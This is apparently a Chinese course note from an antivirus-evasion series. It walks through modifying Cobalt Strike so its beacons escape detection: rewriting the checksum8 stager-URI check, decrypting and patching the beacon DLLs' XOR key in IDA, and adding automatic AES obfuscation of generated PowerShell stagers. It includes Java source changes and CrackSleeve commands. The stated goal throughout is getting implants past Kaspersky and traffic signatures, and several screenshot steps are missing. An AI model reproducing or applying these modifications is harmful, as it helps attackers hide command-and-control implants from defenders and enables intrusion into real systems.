免杀对抗------第一百六十四天
安全工具篇&魔改二开&CheckSum8算法&Beacon密钥&Stager流量&生成机制
前置知识
- 上节课我们对CS进行了简单的魔改操作,但是这些操作基本对流量识别影响不大,因此我们本节课会继续深入进行改动,包括修改Checksum8算法、Beacon密钥以及混淆算法融入等
安全工具 - CS魔改二开-Checksum8算法
- 首先是Checksum8算法,它的计算逻辑上节课也讲过:ASCII码之和 % 256,在CS当中,如果是64位木马那么checksum8的值为93,如果是32位木马那么值为92,因此在默认的CS当中,不管流量包怎么变化,只要第一个数据包中GET请求路径checksum8算法值为这两个,那么基本可以确定是CS远控通道
- 因此如果我们要对其进行免杀,首当其冲地就是改动这个特征,在
cloudstrike/WebServer.java文件中的这个方法:
java
// checksum8算法实现
public static long checksum8(String text) {
if (text.length() < 4) {
return 0L;
} else {
text = text.replace("/", "");
long sum = 0L;
for(int x = 0; x < text.length(); ++x) {
sum += (long)text.charAt(x);
}
return sum % 256L;
}
}
// 判断是64位还是32位木马
public static boolean isStager(String uri) {
return checksum8(uri) == 92L;
}
public static boolean isStagerX64(String uri) {
return checksum8(uri) == 93L && uri.matches("/[A-Za-z0-9]{4}");
}
-
可以看到checksum8算法中要满足url长度大于4,然后经过该算法结果为92或者93,那么我们这里就有两种思路:
- 不改动算法,改动路径checksum8计算后的返回值来判断木马类型
- 改动算法,重新根据新的算法来判断木马类型
-
当然前者可能需要大量的改动并且不一定成功,所以我们选择后者,假设我们设定路径为
index.jsp为64位木马第一个GET请求包,设定login.jsp为32位木马第一个GET请求包,那么返回值就为147和148:

-
所以我们修改
isStagerX64()方法的判定值为147L,修改isStager()方法的判定值为148L:

-
此外,我们还需要修改
common/CommonUtils中的MSFURL()和MSFURL_X64()两个方法的返回值,强制等于我们给定的两个请求路径:

-
当然这里它的逻辑是随机生成后续的URL路径,所以这里我们其实可以弄得更加随机化一点,不过主要是为了演示效果,所以就强制返回固定值了
-
改完之后我们重新打包构建,然后上线执行看看数据包:

-
可以看到这里确实改动了,但是服务端返回的是404,所以这里尤其要注意需要将服务端的jar包替换成当前改动后的才行:

-
成功上线,并且之前的checksum8算法特征也改动了,同样32位这里也能够正常上线:

-
随机化的路径:

安全工具 - CS魔改二开-Beacon默认密钥
- 参考文章:CobaltStrike魔改与增强
- 首先我们要了解由Windows Execute模块生成的就是Stager,它的上线逻辑如下:
text
运行EXE -> 自动生成并访问符合checksum8校验的URI进行远程下载Stager -> 上线
- 因此在这个过程中由两个特征会被捕获到:
- URL的checksum8规则
- 访问URL下载解析Stager
- 关于第一个特征我们已经解决了,那关于第二个特征就是默认的stager文件它是通过XOR加密的,被下载下来之后解密然后上线
- 而这个加密密钥是固定的,如果采用默认密钥就会导致被文件在落地之前被杀毒软件解密识别,因此无法落地
- 在CS不同版本中,异或密钥是不同的,但都是固定的值:
- CS 3.x版本的配置信息是通过异或0x69解密出来的
- CS 4.x版本的配置信息是通过异或0x2e解密出来的
- 其实就是什么呢?有的杀毒软件它是具有流量特征识别的功能比如卡巴和DF,因此这类杀软它可能就会对这个stager文件进行扫描识别然后杀掉
- 可以通过这个工具自行解析看看:Sentinel-One/CobaltStrikeParser
- 第一步我们需要改动
sleeve/beacon.dll和sleeve/beacon64.dll这两个文件,这就是stager文件的原型 - 而这两个文件是被加密的,所以我们要通过网上脚本先进行解密,流程如下:
text
32位:beacon.dll --解密--> beacon.dll --异或--> UJQm...stager文件
64位:beacon.dll --解密--> beacon.dll --异或--> UJQm...stager文件
- 解密脚本在这里:
- 下载下来之后,先将打包好的jar包放到当前目录,然后通过如下命令解密:
bash
javac -encoding UTF-8 -classpath cobaltstrike.jar CrackSleeve.java
java -classpath "cobaltstrike.jar;./" CrackSleeve decode

-
解密完成之后,以64位为例,我们找到
beacon64.dll文件,然后用IDA打开,shift+B找到xor 0x2e这里:

-
然后通过
Edit->Patch program->Change byte...,然后将这里的2E改为自定义的值:

-
保存之后将
beacon/BeaconPayload.java代码中这里改成其十进制数:

-
再通过刚才的工具将新的dll文件加密回去之后再替换
sleeve/beacon64.dll文件:
bash
java -classpath "cobaltstrike.jar;./" CrackSleeve encode
-
打包编译完成之后记得替换服务端的jar包,然后运行64位的木马看看新的stager文件是否能被刚才的工具解析出来:

-
可以看到现在解不出来了,所以说我们的改动是有效果的,不过卡巴依旧杀,所以我们还需进一步改动,比如二次异或、换加密算法等等
安全工具 - CS魔改二开-PowerShell混淆融入
- 最后我们来看一下关于Powershell的混淆免杀,之前我们已经讲过了手动去调用工具进行混淆,而这里我们可以改动代码让CS在生成
.ps1文件时就自动生成免杀的脚本 - 那有三种方式:一种是直接将免杀后的脚本替换
resources/template.x64.ps1默认的文件;一种是调用在生成之前调用第三方工具进行混淆;一种是自己写一个混淆函数调用 - 我们这里看看第二种,找到
common/ResourceUtils.java文件,然后在它创建ps1文件之前调用我们之前的工具,代码如下:
java
public byte[] _buildPowerShellNoHint(byte[] var1, String var2) throws IOException, InterruptedException {
String command = "powershell -Command Import-Module ./AES-Encoder.ps1;Invoke-AES-Encoder -InFile template.x64.ps1 -OutFile x64.ps1 -Iterations 6"; // 这里是你要执行的命令
Process process = Runtime.getRuntime().exec(command);
// 读取命令输出
InputStream inputStream = process.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
String line;
while ((line = reader.readLine()) != null) {
System.out.println(line);
}
// 等待命令执行完成
int exitCode = process.waitFor();
System.out.println("命令执行完毕,退出码:" + exitCode);
// 关闭流
inputStream.close();
reader.close();
InputStream var3 = CommonUtils.resource("x64.ps1");
byte[] var4 = CommonUtils.readAll(var3);
var3.close();
String var5 = CommonUtils.bString(var4);
byte[] var6 = new byte[]{35};
var1 = CommonUtils.XorString(var1, var6);
var5 = CommonUtils.strrep(var5, "%%DATA%%", Base64.encode(var1));
return CommonUtils.toBytes(var5);
}
- 这里记得将
AES-Encoder.ps1和template.x64.ps1文件放到根目录下,这样在我们生成powershell文件的时候就会生成混淆之后的脚本了:
